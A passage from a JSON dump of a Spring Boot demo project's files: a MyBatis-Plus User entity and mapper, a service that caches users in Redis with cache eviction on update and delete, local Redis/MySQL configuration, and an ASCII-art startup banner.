    "content": "package com.xncoding.pos.dao.entity;\n\nimport com.baomidou.mybatisplus.activerecord.Model;\nimport com.baomidou.mybatisplus.annotations.TableId;\nimport com.baomidou.mybatisplus.annotations.TableName;\nimport com.baomidou.mybatisplus.enums.IdType;\n\nimport java.io.Serializable;\n\n@TableName(value = \"t_user\")\npublic class User extends Model<User> {\n    /**\n     * 主键ID\n     */\n    @TableId(value=\"id\", type= IdType.INPUT)\n    private Integer id;\n\n    private String username;\n\n    private String password;\n\n    public User() {\n    }\n\n    public User(Integer id, String username, String password) {\n        this.id = id;\n        this.username = username;\n        this.password = password;\n    }\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return this.id;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/src/main/java/com/xncoding/pos/dao/repository/UserMapper.java",
    "content": "package com.xncoding.pos.dao.repository;\n\nimport com.baomidou.mybatisplus.mapper.BaseMapper;\nimport com.xncoding.pos.dao.entity.User;\n\npublic interface UserMapper extends BaseMapper<User> {\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/src/main/java/com/xncoding/pos/service/UserService.java",
    "content": "package com.xncoding.pos.service;\n\nimport com.xncoding.pos.dao.entity.User;\nimport com.xncoding.pos.dao.repository.UserMapper;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.core.ValueOperations;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport javax.annotation.Resource;\nimport java.util.concurrent.TimeUnit;\n\n@Service\n@Transactional\npublic class UserService {\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n    @Resource\n    private UserMapper userMapper;\n\n    @Resource\n    private RedisTemplate<String, User> redisTemplate;\n\n\n    /**\n     * 创建用户\n     * 不会对缓存做任何操作\n     */\n    public void createUser(User user) {\n        logger.info(\"创建用户start...\");\n        userMapper.insert(user);\n    }\n\n    /**\n     * 获取用户信息\n     * 如果缓存存在，从缓存中获取城市信息\n     * 如果缓存不存在，从 DB 中获取城市信息，然后插入缓存\n     *\n     * @param id 用户ID\n     * @return 用户\n     */\n    public User getById(int id) {\n        logger.info(\"获取用户start...\");\n        // 从缓存中获取用户信息\n        String key = \"user_\" + id;\n        ValueOperations<String, User> operations = redisTemplate.opsForValue();\n\n        // 缓存存在\n        boolean hasKey = redisTemplate.hasKey(key);\n        if (hasKey) {\n            User user = operations.get(key);\n            logger.info(\"从缓存中获取了用户 id = \" + id);\n            return user;\n        }\n\n        // 缓存不存在，从 DB 中获取\n        User user = userMapper.selectById(id);\n        // 插入缓存\n        operations.set(key, user, 10, TimeUnit.SECONDS);\n\n        return user;\n    }\n\n    /**\n     * 更新用户\n     * 如果缓存存在，删除\n     * 如果缓存不存在，不操作\n     *\n     * @param user 用户\n     */\n    public void updateUser(User user) {\n        logger.info(\"更新用户start...\");\n        userMapper.updateById(user);\n        int userId = user.getId();\n        // 缓存存在，删除缓存\n        String key = \"user_\" + userId;\n        boolean hasKey = redisTemplate.hasKey(key);\n        if (hasKey) {\n            redisTemplate.delete(key);\n            logger.info(\"更新用户时候，从缓存中删除用户 >> \" + userId);\n        }\n    }\n\n    /**\n     * 删除用户\n     * 如果缓存中存在，删除\n     */\n    public void deleteById(int id) {\n        logger.info(\"删除用户start...\");\n        userMapper.deleteById(id);\n\n        // 缓存存在，删除缓存\n        String key = \"user_\" + id;\n        boolean hasKey = redisTemplate.hasKey(key);\n        if (hasKey) {\n            redisTemplate.delete(key);\n            logger.info(\"更新用户时候，从缓存中删除用户 >> \" + id);\n        }\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/src/main/resources/application.properties",
    "content": "# REDIS\n# Redis\\u6570\\u636E\\u5E93\\u7D22\\u5F15\\uFF08\\u9ED8\\u8BA4\\u4E3A0\\uFF09\nspring.redis.database=0  \n# Redis\\u670D\\u52A1\\u5668\\u5730\\u5740\nspring.redis.host=localhost\n# Redis\\u670D\\u52A1\\u5668\\u8FDE\\u63A5\\u7AEF\\u53E3\nspring.redis.port=6379  \n# Redis\\u670D\\u52A1\\u5668\\u8FDE\\u63A5\\u5BC6\\u7801\\uFF08\\u9ED8\\u8BA4\\u4E3A\\u7A7A\\uFF09\nspring.redis.password=\n# \\u8FDE\\u63A5\\u6C60\\u6700\\u5927\\u8FDE\\u63A5\\u6570\\uFF08\\u4F7F\\u7528\\u8D1F\\u503C\\u8868\\u793A\\u6CA1\\u6709\\u9650\\u5236\\uFF09 \\u9ED8\\u8BA4 8\nspring.redis.lettuce.pool.max-active=8\n# \\u8FDE\\u63A5\\u6C60\\u6700\\u5927\\u963B\\u585E\\u7B49\\u5F85\\u65F6\\u95F4\\uFF08\\u4F7F\\u7528\\u8D1F\\u503C\\u8868\\u793A\\u6CA1\\u6709\\u9650\\u5236\\uFF09 \\u9ED8\\u8BA4 -1\nspring.redis.lettuce.pool.max-wait=-1\n# \\u8FDE\\u63A5\\u6C60\\u4E2D\\u7684\\u6700\\u5927\\u7A7A\\u95F2\\u8FDE\\u63A5 \\u9ED8\\u8BA4 8\nspring.redis.lettuce.pool.max-idle=8\n# \\u8FDE\\u63A5\\u6C60\\u4E2D\\u7684\\u6700\\u5C0F\\u7A7A\\u95F2\\u8FDE\\u63A5 \\u9ED8\\u8BA4 0\nspring.redis.lettuce.pool.min-idle=0\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/src/main/resources/application.yml",
    "content": "##########################################################\n##################  所有profile共有的配置  #################\n##########################################################\n\n###################  spring配置  ###################\nspring:\n  profiles:\n    active: dev\n  datasource:\n    url: jdbc:mysql://127.0.0.1:3306/test?serverTimezone=UTC&useSSL=false&autoReconnect=true&tinyInt1isBit=false&useUnicode=true&characterEncoding=utf8\n    username: root\n    password: 123456\n\n###################  mybatis-plus配置  ###################\nmybatis-plus:\n  mapper-locations: classpath*:com/xncoding/pos/dao/repository/mapping/*.xml\n  typeAliasesPackage: >\n    com.xncoding.pos.dao.entity\n  global-config:\n    id-type: 0  # 0:数据库ID自增   1:用户输入id  2:全局唯一id(IdWorker)  3:全局唯一ID(uuid)\n    db-column-underline: false\n    refresh-mapper: true\n  configuration:\n    map-underscore-to-camel-case: true\n    cache-enabled: true #配置的缓存的全局开关\n    lazyLoadingEnabled: true #延时加载的开关\n    multipleResultSetsEnabled: true #开启的话，延时加载一个属性时会加载该对象全部属性，否则按需加载属性\n\nlogging:\n  level:\n    org.springframework.web.servlet: ERROR\n\n---\n\n#####################################################################\n########################  开发环境profile  ##########################\n#####################################################################\nspring:\n  profiles: dev\n  redis:\n    host: 127.0.0.1\n    port: 6379\n    database: 0\n    lettuce:\n      shutdown-timeout: 200ms\n      pool:\n        max-active: 7\n        max-idle: 7\n        min-idle: 2\n        max-wait: -1ms\n\nlogging:\n  level:\n    ROOT: INFO\n    com:\n      xncoding: DEBUG\n  file: D:/logs/app.log\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_redis/src/main/resources/banner.txt",
    "content": " :: :.:..... : ....: ..: ..: : : :..: ..:...:.... :..........:.... .:.: : :.::..:.:......:.:..: : :...:..:::..::.:::::::..::.:::::.::::::::::::::::::::::::::::::::::::::::::;::::::\n.::.:.:::...: ::.:.:.:.:::.::::.::.:.:.:::.:.:.::::.::::.:::.::.:.:.:::::::::::::::.::::::::::::::::::::.:::.:::::::::::::::::::::::;:;:;;;:;;:;:i::::;;,;,,;::;,i;:i;,;:;,;;,;;i:;:\n::.::: :::::::::::::::::.:::::::::::::::.:::::::::::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;;:;;:::::;::::::ii,;,ii,,;,,:ii:ii,;::i:ii:i;,;;,i:,;,:i:::;,,;,,:\n::::.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::;;:::::::::::::::::;::::::;::::::::;:::;::::::i:,;:::;,;:;i:;,,;i;i:i,;,;,:,;,::,;;,;,:,;:;,,;i:;,;::i:,;,,;:;,\n:;;:;;:,i:,;:;::i:i:;:,;,,ii,,:;;,:i,;,,;,,i:,:::;:i::,;::,;,:,::i;,;::;:::::,:;:,::::,::i;:,::::::,:,:,,:ii:i::i:,;,;,:::;:;:;i:i;ii:i;,i;,;:::,:,::,::i:i:,::;,i,;ii;,,::;,:::i:i:\n;ii:,:,;;,;,,:,:;,:,:,::ii;,;:i::;::,:::::::;::,;:,;,:i:,;:::;:i::::::::::::::;,;,;;:::;:::::,::;:::::;,:i::i:;,::::;::::::,::,:i:iiiiiiiiii::i:::;:;:::::::;::i:,;i,i:i:i:,;:::::::\n,;;:;,;::;:::;:i::::::,;::i:i;::::,::;,::::,:::::;:i::;,:::;iifffjiii;i:::::i:,;;:,,:::,::::::::::::::::;,;;,;:;:,;,:;,::::;i:;;:iiiiii,i:,;::::;,:,:::;,;,:,:;,;;ii;,;i;::;::,:i:::\n,i:i::::::::::::::::,::i:i;;ii::;::,::::::::,::::;:i:;,;ijffLffffGGGDDLGfii;;:,;:i::::::;::::::::::::;::;:i;,;:;::;::::::,;:i:;;i:i:iii,;ii:,;::::,:;::::,:;::;,;;,;ii:i;,:;:;::::::\n:ii:;;:,:;,:::::,;,:::::iiiii;,;,:;:i::::::::;::;;,;ii;ifGLGGLGDGGGDDEDGffijiiii;::;:::::::::::::::::,:;:,::::,:,:::,;:::::,::,i:i,ii;;i,;;,;:,::;::::::;:::,;:,;i:i:,;,,;:,:,:;::::\ni;;,:::::::::::::::::::i::i:ii:,::::::::::;:::,;:iii;ifLDGfDDDGDDEEEKEEDEGDDGLfi:,;::::::,::::::::::::::;:;:i:::;:;::::::::;i:;,;:i:ii,;i:::,,::::,;::::,::::::;,:i:i;,;:,::::::,:::\ni:,;,,:::,:::::,::,::,:,;;,;i:i::;,:::::::,::,;,;i;ifLDGGDEKEDEEEKKDEDKEKEEDDDGfi;,::::::::::::::::::::::::::::::::::::::::::,:;:i;;i:;,;,,;::;:;:::::::::::;::,;i:;::;,,;:;;:i:;:::\ni:,;::::::::::::;::::,:::;:i::;,,:,:::::::;:,;iiifGGGDGDEEDKEKEEWW#WKKEWKEW#KKEGj;i;,::::::::::::::::::::.::..::.::...: ::::::,;:;:,;i:i:;::;::;:;:::::::::::::,;;:;:::i,:;:,:::::::\n:;;,::,:;:,::::::,::::,;,:::;,:;;:;:::::::::;,jjfGDGDGGGEDEEKKK#KWK#E#WWW#KWEWEDffii:;::::::.:::::::::::...;;:ijiii:::: :::::;:,:i,:;::;:::,:,::::::::::::,::::::::,::;:::::::::::::\n,::;,::::::::::::::::::::::i:;:::,:,::::.:;,iifffffDGGfLDEKKWK#WKEEWWWEWKKWWWWKKDGGi;,::::::::::::::.:.:;:;;;jLfGGfji;:::::.:::;::;;,:::;,;::;::;:::::::::;::::;:;:;::::::;:::i:::::\n::;::::::::::.:::::::::::::;:::::::,::::::i,ififLDGDDDDEKWEWWK##KWEWWWWKKKWKWWKWWKDGfi;::::::..:::::;,;ijLGjjjtjLGDDGDGGGi::::::::;:::::::::;::;,::::.:::::::::;::,:::;:::::::::::::\n:;:::::::::::.:::::::::::;:::,:;::;::::.::ijtGDGDDDDDEEKWWWKWWWWE##KK##KKWKWK#KWK#EGfii:::: :::::::::iiifLGGGGjjtGGEDGEGDj;;:::;:::;::::;::::::,;:::::::::::::::::;::::::::;:,;:::::\n:::;:::::::.::.:::::::::;:::::::::,::::::ifDGDKEKEDELDKKEKEK#WW#K#WWWWWEWWKK#KK#KKKGGi;::::::.:.::.:;ijfGGGEEDGGtjGGKDDEDG;;:.::::::::::::::::::::::::::::::::::::::;:::::::::::::::\n:::::::::::::::::::::::::::::::::::::::;ifDEDDD#GDEDEWWKEW#W#E#WWWKKWKWWKK#EWK#KEKGjii;:::::::: ::iiLGDGKKKKKDKKEjjGEDKEEjjGfj;:::::::::;:;:::::::::.:::::::::::;:;:::.:::::::::::::\n::::::::::::::::::::::::::;::::::::::::iiGKKDGEWEKEWWK#K#KWK#WW#KW#WK#WWKWKWK#KKKDj,;:::::... :::i;jGGDEEKDKKKKKKGjjGEKKDjGGGjf::::;::::::::::::::.::.::::::.::.:.::.:::::::::::::::\n:::::::::.::: ::::::::::;,::;::::::::,;ifLEKEEDEK#KKKWE#WW##KWWK##KK#KWWKKKWEGKGGi:;::::.::.:::::ifGGGEKKKEKDKWKEGLjGD#EKGGGGGG;:.::::::::::::::::::::..::::::::::::::::::::::::::::\n:::.::: :::.:::::::::::,::::::::::::i;ifGDEKKEEKKK#KK#KWWWKWWW##EWW#E#WEWEWEEDGjLi::::::::.: .:;ijjLGEGDGGEKGEKK#KGGGKKWEDEKDGGi;::::::::::::::::.:..:..:..::.::.:.:::::::::::::.::.\n:::::.::::.::::::.:::::::::::.:.::::iifGGDK#EWEKEWK#E#WKWWWKWKWWWKKKK#WEWDGGGLit;;:...:::. :.:;ijLjjjjLGGEEKDEEDGEKDGGEDKKKEEGGi;::: :...:: :::. : ::.::..:::..: .::.::..:::::..:.:.\n::::::.::.::: :.::::::::::::..:.: ::iiGGDEEWKKKKEE#K#KWWWWW#K#EW#KWW#KWEKEGfLf;;;;;: ::: ::::ijLGjtjLLGGKEEEEEDKEDKDEGGGKKEKKDGj;;:;;::::..:....:.: ...:..:....:::...:..:.....::.::.\n:::.:.:::.: ::.:::::.::.::..:: :::::iLGDGDKWKE#KK#WWEKWWWWWKWWWEWWWWKKKKKDDfjj;;,,..:...:.::;jGjjjjLGKEEGEKDDEGDDGGGGfLjGKKEEKGjj;;,;;: :.:.:::...:. :....::.. : ..:::::..::::  ::::\n.:..:..:: : ..:::: :..:: :....: .::ijGDKDGEWEW#EW#EWKWWWWWWKWWWEWKK#KWKKEDGGi;;;,,::.:.: ::;i;t;LEGGDGEGKEGGGLjiji;j;;;;tjGGEKDGjt;.:.:: :: ::.:: :  :.......:..:: :.:.:...:.:...::.\n..: ::..: :..::...: :.: :: :::..:::ifLGEKEKEK##WWK##KKWWWKKKWWK#K#KKKWKWKEKGti;:.:.,.:. : ;ij;;jGGGLGEGGDEGLjj;t;;;;;;;;;;tjGEDGjt;:.. ;:..........::..:.......:  :... :..: ... :...\n..... :  : :.. :.: .: .:  :.. ::::;ifGEEKKE#KKWWWEWK#K#K#K##EWKEWKWWWW#EEEDGi;;;.:.:..:: :;ijitGGLLGEGEKGGGjj;;;;;;,;.;;:;;;LGKEGt;.: :. :..:: ::. :. :... .... :.....: : :::.....::\n :......:. ..: ...::..: ::.....:::;iDEEWEKKKKKKK#WK#KWKW#K##EWWWKW#EKEKWKKEDGj;;;.::.,: ;;ii;jjGGLGGDKGGjLjji;;;,::,:.;:,::,;tjGGLL;................:... :  .:: ::....:..: :: :.....\n.  .::..: : . : :..: :..:: :..:.:::iGDKKKK#KK##E##WWWW#KWW#WK#EKWWKKKEEWEKGEGj;,.:...,..::;;jjLGLGLGEGLGLjjtjt;;;;;.;;.::,:.,;iGDGG;;..............  :..: ::.. :.. : : .: :. :  :..:\n.::..: :..:... ...:: :: :: :  : ::,iGDEEKEK#EWKW#WW#KWK#KWWWWWKEWKKEWDDDKKKDGGi;.:.:,.;::;;itLGLfLGGGGGjjjt;i;;;.;,,::,:...::,;LGGGL;:: .. : ....... : : :....: :: .. :.....: :: ::\n :..::.::.: . :: :  :.....: :: :::ijDGDWEKWWK#KWWW#K#WW#WW#WWWKK#KWKEKKKDKEEGGj;.:...:.,:;;;jLjGLLGKELjLjjt;t;;;,,;:.:.:..:..:.iGGGLj:.:..... :  : ::..... ... :.:......: :  :  :  :\n.. :  :..: :. ::. :.......: :: :::;fGDDDEWKWW##WW#KWWWWWWWWWWE#KWKEWEKEKGDEDGGj;:.:..:.,;i;jjGGLLDKEGLjjjtjt;;;,,;,:..:.:.:.:.:;;LGt;j:.: ..  :....:: :: : : . : . :  :.: :.: :.: .:\n. : .... .:  :  : :.....:......:::ijfDEEWKK#K##K#WW#KWWEWEWWWWWKWEWKEKGGDGEGGjj;.:..:.,;jEitiGGLjGKELjjtijii;;;,;..;:.:.::.:.:..;jGjtt.::  :....: :  :.: :.: ::...... ::......:.:.:.\n:  :  .........: :  :  :  : :...::itGDDKEW#KWKW#KWWWEE##WWKWEWEK#KKEKKDGKGGGGf;,:..:..;jGK;jLGLGGEKEjLjtt;j;;;;,,,::::.;..:...::.jGLj;j ::: :: :: :  : ......:: :: :.:....:.: :.:.:.\n:  ...................: :....:...:;fGDDKEKWEW##W##KWWWW#WW#K#KWK#KKKDKGfGGGGLj;::..:.;ijjjjGGGGDKKEGjLjjLjjji;;;;,;.::.:..:....:.;fGLijj.:: ::.::.... :: :  :  :  :..:.. : ::..:..:\n ....: :.............:: ...:..:  :ijGDKEWWWWWEK#KK#WWWKWE#KKWWK#KWDEGGGGfjGji;...:..;;;;;iLjGLGKKKGLLjLLGGLLLj;;:;:.;:..::.::....:jDLijj.:............. :..: :: :: :.......:: :: ::.\n:  :  ..: .. :  : :: :: ::. :: :: ;fGDEDEWWWKWWWWWWW#WK##WKWWK#KKEDKEDGfGfjL;;.:.,:.:;...;GLLGDDKEGLGLGGLjfjfLj;;;;,..::.:.::.:...jKLt;j;.................. .. : .........: .....::\n :...: :: .. :  : ....: .. ... :: ;fLGDDEKWWKKWWW#K#E#KKWKWKWK#EKEDEGDGGGjji..:.::;.:.:..;LGLGKKELLjjjttt;;;;;;;;;,;..:.:;;;i;::..;KGj;;j; :  : .. :: .. :  .  .. . .. :: . ..  ..:\n ..    . : .. :: :  .. : ....: . :;ffDGEK#K#K#WW##WWWW#KWWWK#KWWEKGDDGfGfjj;.:...:..:..:;jGGGEWKGLfLjtjtttij;.;;;;;.:.::;;;iji;:..;KGf;;;; .. : ...  .... .: . ..: : ..  : :: :... :\n.  .. ... .... . .  .... .  :: :. :LGDDDEK#WE##WW#K#KK#EWWW#KKWKEKDDGDjGfij;.::...::..:;j;iLEDKKGjLjjjtjjLLGLj.;;;;;..:.,:;;;t;j::.EGj;;;;: .:   .. . : ..   ..    : . :. ....... .\n . . . .: ... . . :. . :  ..  . ..;jGDGDKKKKKWK#WKW#EK#WKK#KWWWKEDDGGGjGjjtj,:...:.;..:;;;;;GKKGLLtjjtjjGGEEKD;.,;;;.:.;;,;,:::;;.:DGL;;;;...... : ..   : .:  : : : ...  : .. :.....\n : .  :  . :..  : . ... : .  .. ...iGDGDEKKWE##EWWK#K#KWWKKKWWWEDDDGGGjGfjji;::.:.....::,..:,DKLjtjttLLGELiiEGG;;i;;.:,;;;;jjj;: :.GGj;;;;... .. : .. : : .. .... :   :  : .. :....:\n. : .  ....   :.. ...  . . :   . . ;GEGDDEE#KWW#KWKK#WE##K#K#KKDKGEGGGGjjjjj;:.,..:.:....;,:,;EGLjtjjjjLLLLjLGK;;;;,: ;;;jGDWKG;. .Gjt:,:;: .:   ... : .. : : .   .... :: .........\n .  ... :  . .  : .. .. ..   : . : :GGDEDEWKKWWWEWWKKWWEWWEWKKKDGGGGGjjGjjji;:;:::....::.,:.;;jGLtjttjtjtj;;;;j;;t;;..;;;jiifDW;:.:Ei; :.; :  : .. .. :.........:... ..  : :... : .:\n .. ... . ..  : :   .   .... . .: ..GDGEEKKK#KKKKWWWW#KWWWKEWKKGLL...;jjfjji;,;::.:.. ...:;:;;,;Gtjtj;j;;;;;;;;;jtt;:.:.;;itjjLL; .L::..;...  : .. :: .. :  : ..........: :  : ....:\n. . . ..: .... . ........ .... :....LKLKDKKKWWWWWEWWWK#W#WKKKEELL;:;..,;jjjt;;.;.:.:.:....:;;;;iLjtjiti;;;;,,.;;tji;;:.:;t;;;.;;;..j:. .:. :  :  .....  : .. ..... : ..  : :: :...:\n .. . ... .. : .. :. :: .... ...: :.iGGDEKKWEWWWKWWKWWK#EWKWEKGLt,tt...;;jjj;;:;;:... :. .;;,;;jGjttti;;,,,;.;;ijtt;...:;;;;;..:. .j:  :; .... . ...: ...... : .. : :: :: .::..: ::\n . : . . : .. :: ..: :: :: .. : ....;jGGDKDKKKWKKK#KWWWWK#KKGLLtt,tj,..:;;;;;;:,,:,:.. . ..;,;LKLttjt;t,.:,;:,;ttjt;:...:,.:.:.: . j: .:.  :  : .... :  : :: .. ......:  : :: :..::\n. . ....: : : . : :..  : ....: :: :.:;fGDKDEWWKWEEWK#KWWWWKEGGjf;,ti:,...;;;;;;;:,:..:..:..,;jKELjttt;;;;,,,.;;jtj;;::....:,,:...:.j:..:.. .  .. : .. :: : ........: : ::....:  :  :\n :.......  :...:  :..   :...... ....::iGEEEKEKKWKWKWWK#KEWWELjLj;,,,j;.:.,;;;:,::;:.:......;;KKGLtttt;,;,.;,;:;jjj;;.....:.::... . f;..: ::.........: :: .......: :.:.:: :.......::\n. .... .....: .. :  :  :  : ..... : .::GGDKEDWWEWK#EWWWK#KWGLjjf;;.tLL. ..;;;;;:;:,:...:. .,jEWGLtttt;;;,;:..;tjLj;;:.:...,:.:..: .ii.:.......... :  :  : :: :: :::.::.::.....::.. :\n.......  : . .....  ..: ..:..... .: .:.iGGKKKKKKK#EW##K#WWKGLjtLt,.;ff; .:.;;;;;;:;;:..:.:.:,LEELtjti;;,,::.;ttjtj;,:...;,:::.: . .i;;:::.::.:...:....::: : :::..:.::::..: :..:: :.:\n..: :: :: ... :...  :  :...:..:::..:...;DGEKKEWWWKWWWWWKKKKLjjLfj;.,;t;.:.;,,;,:;.,:,,...::,:jDELtttt;;;:,.;;Ljtjj;;..:.;;.... :.. ;;;::.:.....:..:.:.: :: : ::..::::::::.:.::.::...\n.: :::...................:.:..: : :..:.:jGDEEWWKKK#K##W#WWKLjjjtjt....;..;.;;;;;;.,,..,.:...,;GELtjtt;,;,,:;;jjLLLj;,;..;,,:..: : :;:;:::::::.:.:..:.: :.::::..::.::.::.:.::.::::.::\n::::::.:.:.......:.: :.:.:::::::.:...:::.;GDDEKEWKWW#WW#KKKLLjtjtj;....:,,;;;;;;;.,,:.......;;LKLtjtt;;,,;;it;tiij;.:;: ,;;,..:.: .:.:;.::::...::.:....::.:.:::...: : :..: ::.::...:\n::::::.:: :::: ...:.:.:.. :::.:..:.:.....:LGEDWWWWW#KWKWKEEjjtjjjLt;.. .;;;;;,:,::::..::..:.:jKELttt;;;;:;;ttt;t;;:,:...:;;;.:.. .:::..::  ::.::.:.:::...: .: :.:..:.:.::.:..:::.:..\n.::.:.: ::: : : :.:.:.:..::...::: :.:..:.:LGDDE#WWW##WWWKKGLjjtttjLt;:.:,;,;;;;,,;:::.:..:.:,LGEGjttt;;;;t;tj;ttt;;...:.:;;,:.... :...;..::: : :: : ...::.:: :....:....:.: :.:  :...\n....: : .: :.:...:..: : :::....:: ::..:: :jDWKWWWEWWWWKKDDGjtjttit;;;;;;tt;t;;;,;:,.:.. :..:,;LGLttjt;;,;tLLDDDGGDLff;..::;;:..:. ..: .: :..::: ... ..:: : ...: ::........ :: :.: ..\n.....:.:: :.: :...:: ::.. : :..:: : ..::..fKWWKWWWKEKKKEDGGjji;;t;;;,;;;;ttt;;;;.;....:..:,,;tGLLtit;;;.;tGELLLGLfffLjt,.;;,..:. ::...;... :   :: :. :.: ::: :............:  : .....\n :: :....: :.: ..:  :.....: :: ::.........iEWWWKWWKKKEKEGGGj;jt;i;,,:.;tijt;;;;;;.;.:..:...,:tGLjtti;;,;;;LGLjt;;;t;ffft;;,;:.... :: :: : ....:  : .: ....  : ............ :: :: ::\n:  :  :  :.........: ::...................;GKWEKEKEKEGGGGGjjti;;;;,,.;;;tttjt;;;,:...:...,:;;;LLtjttt;;.;;;DGL,;:...:tfLf;;:..: ..  : :...............:: :  : ...........: :: :: ::\n :: ::.. ::  :  : :: :: :: :  :  : :: :...:iDKGGGGGGGLGjjjjti;i;,,;:;:,;jjttti;;,,,..:..,:,,;:.;jtttt;;,;;itLDGLfft,,,Lft;;,.... :  :. : .. . :  : :...: .  .. :  : :: :: :  :  :  :\n........: .....: :  :  :  ...: :: :  :  :  :LGGGGGGGLLjjjtj;jt;;,;,,.,;;tjtjt;;;;;:,::..::,:,:..;;;i;;;;;;ttjfGDLffjjjjt,;,;:.:.: .. : : .. :: :: ....  : : : : :: .. :  : .. :...:\n :: :: ::.....: : :: :: :: : .......: :: :: ;i;ijjjjjjjj;jtt;i;;,,::,.;;;jjiit;;;,,:..,.,.:;,...:;tiit;;;;;itjfGGLffjti..;;..... .. :. ...: . :  .. ..   :  .. .........: .. : .....\n :: :: :: :  :  : :...: ... :: :: :  :  :  . ::.:,:i::::::;t;;;,,;;::,,:;itjitit;;;;,:,:,,:,;  :..:,;ti;;t;;;;;,;;;,;....;.:..... ::   : .. :: :: :.. :: ... : : .. :..  .....  ....\n:  .......... :: :  : ..........: .. :  .. :..::i;,:;::::.:;;;;,;:::..:.,;;ttt;;;;,;;;:,,,,,, : ...:;t;jiit;;;;;;;,;...:.:..: .: .. :.. ..: :........... .  : .. ....... : :: :: ::\n :: :.......... : :: :: :...  .. : :: :: :itfGDGffjii;::.:. ::;;.;:,:.,::,;;tittt;;;;;;,,,:;.. : ...;;ti;t;;;,,:.::.:: .:.:.... ...: :: :  ..: .. .... ..... :: ::  :... :   : :   :\n .: ...... :: :: .......  ..  .. : :...:ifLDDDWDWWEWKWKWEDf;. : .;:::.,.,;,;;;;t;;;;;;;;;;. . : ..:.:.;;tit;;;:,:..... :.... :  : :: : : . :   : : :..... :..  : .. . :  ...: :.. ..\n :..  .. : :... ..... ....... .. .. .. ;tfGGDEEEKWK#W#KWWKKEGf:.. :,.:...:::;;;:..  ...: ...... .:. ..:;;itt;;:;.::.::. :...: . ..   .. .  ........ . :: ..: .. : : :: .. : .... ::\n . : ..... .. ... . ..... :  .. .. : : iffDDDDDWKKWWKEWWEW#KKKKi...:::,.::;,,:. .. ...  .. ..: ...:.:::;;;;jit;;:;.: ......  ..: ..: ... :..   : : :: ....  : : .. .....:  : : : . .\n..: . : . .........: :.. ..... :: ..: :jffLDEDEEKKKK##WWKKEEKKEDL: ..:,:::.::; :: :.. :..  ... . :.:.:,,;;;itj;;;.:.....:: .. :... ... ..   : :  :  : . .....  : ....: : : :: .. ..\n . ....  ...: . :   ... .... . . ....ijLfLGDDDDKKWWWWKWKKKWEKWEEEKD: ..,.:.::. :..  :.:.. ..  :  :.::.;.;;iititt;;;;:::... :.........  :   :  .....  : : .. :  .... :..  : .... : .\n .. ...  ... : .... : : .. .....: : itjfGDDDEEEKKKWEW#KWWKKWEWEEKDDGi :.::,: .. .... . . : :   : .::.::;;tttjttiti;:;.....    :.. . : . ..  : :   : ......  : : :: :   :.... ......\n..: : .. :   : .  ::   : . :  :   ..fLfDDDDEEDKDEEKKKWWWKWWWEWEEEEEEDj..::.;:  ::  . :  .  : .. :.:.:.;;;titjtit;;:;:...:.... :....: .... ...:  : : .   : ...  : .. ... ...  .... .\n ....... . ....:  :: . :  : . :   : tGfDDEWEWEWWW##WW###W###K#KKEEEEDEf:.,:   : .. ...  .. : ....:.,:,:;;tit;t;,,,.,...... .:    .... . : . .: . .  . . :  ...: . :   ... ... . . .\n .. :: :: : . . : .... .........:  :ifffDDEEWEK#KEW#WK#WWWW#W#WWEKEEEEKf.:.  : . :   : . .. ..  . :,:;;;jttt;;;;,::....:. :  : : .. : . ... ... . :  ... ..  .  .. : .. . ..... .. .\n........ : .. :. : . ....: ........:ffffGLDDDKKKWK#E##W##W#W####WKWDEEEEf ..: ... :.. .. : ... : ..::.;;;j;;i;;:;::.::....    .  ........ : . ... ........ : .... . .. :...  . . ..\n .. ::   : .... ... .  .. : :: .:iiffffGDGDDEDKKKK#KK#WWK#KK#KKEW##WKDWDEi.... .... ... .....  : ...:,;;tti;i;;,;.:.,::.:,:.  :. : .......: .. :...  : ....:   :  : :: .. :  :  .\n....  : ....: ... .: :..   : .::tifDGLfGDDDGDDWEWKWKWWWWWWK#WK#WEKK##KDEWEi  : :.. .. :...: .:  ...,;;;;iti;;;;,.;:..:.:::::..  : ::..: :  :  : ..... : : .........:. :...... ::..:.\n..: :... ....... ........... iiiitfEDDDfGDGGDDEEWWWWWWKKWWWK#KKEWEEED#WEDDG: .... :: : ....... : . ,;;;;j;t;t;;,;..:::..:.;....: : ... : .. :: ....::..: :  .....: : ....:.  : . ..\n... :: :: : ......:: :...: :ititifLDGDfLGDfGLDWEWWKKK#EWK#KKKK#KKKKEKDWKEDDf.............  :  : . :;;;;tt;tt;;;:,..;..::.;.;;.:: .:::..::. :..:.:.....:..:. :.....::..:::...::.:: ..\n ::.:: ::... :. :....:...:tDLifjtfDEDGGDDffffDKWEEWEWWEWWEWWEKKWKKEWEKEDEEDG:.: .:::....:::.:.: . .;t;ttt;ttt;;:;..,.:.,.:;;;;;.:. ::..::.:.:::::.::::::::::..:::.::.::::::.:.::.::.\n: .:  : .:::.:.:: :: :: :iDDfifffGDEDLLDLLffLDKEKKEWEEWEKEKKKWKKWEKWEWWEKDDLL..:: :..::::.:: .:  . ;t;itt;tt;t;;,;,,.,,,:,;,;,;;;::   ::::: ::..:::..:::.::.::.:.::::.:.:.::::::::::\n.: :::.::: .:.: ::..:.:;iGDLtfffLDGDfLGLGLffGDKEKEWEEEDEKKKKKKEEWWKK#KKKKEDDLfff;::.::.:.:.::: :  .;;ti;ijit;;;,;:.,..,:;;;;;,;;:;::.. 